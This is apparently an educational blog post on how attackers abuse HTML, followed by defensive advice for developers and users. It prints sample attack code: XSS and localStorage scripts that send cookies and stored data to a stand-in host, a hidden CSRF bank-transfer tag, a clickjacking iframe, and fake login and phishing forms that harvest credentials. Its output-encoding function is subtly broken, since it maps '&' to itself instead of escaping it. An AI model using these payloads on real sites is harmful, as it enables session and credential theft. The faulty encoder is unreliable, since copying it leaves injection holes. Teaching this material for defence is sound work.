The Dark Side of HTML: How Cyber Criminals Exploit the Foundation of the Web

When I first started learning HTML, I saw it as just a way to structure web pages—nothing too fancy. In my previous article, I talked about how understanding HTML changed the way I see the web. But here’s the twist: the same simplicity that makes HTML beginner-friendly is also what cybercriminals love about it.

HTML is not a programming language—there’s no logic, no functions, no real power on its own. But when mixed with other web technologies like JavaScript, CSS, and HTTP requests, it becomes a weapon in the hands of hackers. In this post, we’ll explore how cybercriminals exploit HTML, the vulnerabilities they target, and a few major exploits you should watch out for..

As developers, we often focus on HTML's power to create, but rarely consider its potential vulnerabilities when manipulated by those with harmful intentions.

HTML is Innocent—Until It’s Not

HTML, by itself, can’t cause harm. But attackers use it as a delivery mechanism—a container that carries malicious scripts, links, or data meant to exploit your browser or trick you.

Think of HTML like an envelope. The envelope isn’t dangerous, but if someone slips in a poisoned letter, you’re in trouble.

Let’s go deeper

Common HTML-Based Exploits

1. Cross-Site Scripting (XSS)

XSS attacks are among the most prevalent HTML-related vulnerabilities. They occur when attackers inject malicious JavaScript code into web pages viewed by unsuspecting users.

<script>
  document.location='http://malicious-site.com/steal.php?cookie='+document.cookie
</script>

This seemingly innocent snippet, when injected into a vulnerable page, can steal user cookies and session information. What makes XSS particularly dangerous is that the malicious code executes in the victim's browser with the same privileges as legitimate scripts from the trusted website.

Types of XSS:

• Stored XSS: Malicious code is permanently stored on target servers (in databases, message forums, visitor logs, etc.)

• Reflected XSS: Malicious script is reflected off a web server (such as in search results or error messages)

• DOM-based XSS: Vulnerability exists in client-side code rather than server-side code

2. Cross-Site Request Forgery (CSRF)

CSRF attacks trick users into performing actions they didn't intend to make on websites where they're authenticated. For example:

<img src="https://banking-site.com/transfer?amount=1000&to=hacker" style="display:none">

When embedded in a malicious page, this invisible image tag could trigger a fund transfer if the user is logged into their banking site in another tab. The browser automatically sends authentication cookies with the request, making it appear legitimate.

3. HTML Injection

While less sophisticated than XSS, HTML injection occurs when attackers can insert arbitrary HTML into a page:

<div style="position:absolute; top:0; left:0; width:100%; height:100%; background-color:white; z-index:9999;">
  <h1>Security Alert</h1>
  <p>Your account has been compromised. Please enter your credentials to verify your identity:</p>
  <form action="https://malicious-site.com/steal">
    <!-- Phishing form fields -->
  </form>
</div>

This overlay could completely hide the legitimate page content and trick users into submitting sensitive information.

Deceptive Techniques Using HTML

Clickjacking

Attackers overlay transparent HTML elements over legitimate buttons or links, causing users to click on something different from what they intended:

<style>
  iframe {
    opacity: 0.0001;
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
  }
</style>
<div>Click here to claim your prize!</div>
<iframe src="https://legitimate-site.com/delete-account"></iframe>

In this example, what appears to be a harmless button could actually trigger an account deletion action on another site where the user is logged in.

Fake Login Forms

One of the simplest yet most effective exploits involves creating HTML forms that mimic legitimate login pages:

<div class="login-container">
  <img src="copied-logo.png">
  <form action="https://malicious-collector.com/steal-credentials" method="post">
    <input type="email" placeholder="Email">
    <input type="password" placeholder="Password">
    <button type="submit">Log In</button>
  </form>
</div>

These forms can be embedded in legitimate-looking emails or fake websites, harvesting credentials with minimal technical sophistication.

Evolving Threats: HTML5 Vulnerabilities

HTML5 introduced powerful new capabilities, but also new attack vectors:

Local Storage Exploitation

HTML5's localStorage feature allows websites to store data in the browser:

<script>
  // Malicious code to read localStorage data
  var storedData = localStorage.getItem('sensitive_user_data');
  new Image().src = 'https://malicious-site.com/steal?data=' + encodeURIComponent(storedData);
</script>

If this code runs in the context of a vulnerable site, it could extract data the legitimate site stored locally.

Service Worker Hijacking

Service Workers are powerful HTML5 features that allow websites to work offline and intercept network requests. If compromised, they can act as persistent backdoors:

<script>
  if ('serviceWorker' in navigator) {
    navigator.serviceWorker.register('/malicious-worker.js')
    .then(function(registration) {
      // Registration successful - attacker now has a persistent backdoor
    });
  }
</script>

Defending Against HTML-Based Attacks

For Developers:

1. Content Security Policy (CSP) - Implement strict CSP headers to restrict which resources can be loaded and executed:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

2. Input Validation - Never trust user input. Sanitize all data before inserting it into HTML.

3. Output Encoding - Convert special characters to their HTML entity equivalents when displaying user data:

function htmlEncode(str) {
  return String(str)
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

4. HTTP-only Cookies - Prevent JavaScript access to sensitive cookies:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

5. CSRF Tokens - Implement unique tokens for sensitive actions that can't be predicted by attackers.

For Users:

1. Keep browsers and extensions updated

2. Be cautious about clicking links in emails or messages

3. Check website URLs carefully before entering credentials

4. Use password managers that can detect phishing attempts

5. Enable two-factor authentication where available

The Responsibility of Knowledge

As I mentioned in my previous article about how learning HTML changed my perspective, HTML gives us incredible power to create and shape the web. With that power comes responsibility. Understanding these exploits isn't about learning to use them maliciously, but about becoming better defenders of the web ecosystem we all share.

The beauty of HTML lies in its accessibility and simplicity. Anyone can learn it, as I discovered on my journey. But that same simplicity makes it imperative that we build with security in mind from the ground up.

In an age where our digital and physical lives are increasingly intertwined, secure HTML implementation isn't just a technical requirement—it's an ethical obligation to protect the users who trust our websites and applications.

Conclusion

HTML vulnerabilities remind us that even the most fundamental technologies can pose significant security risks when implemented carelessly. As developers, we must remain vigilant, continuously educating ourselves about emerging threats and best practices.

The web was built to share information and connect people. By understanding how malicious actors exploit HTML, we can better preserve its original purpose while protecting those who use it.

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About the author: Yemi is a cybersecurity researcher and web developer passionate about making the internet safer through education and secure coding practices. Follow more of his work at YemiHacks.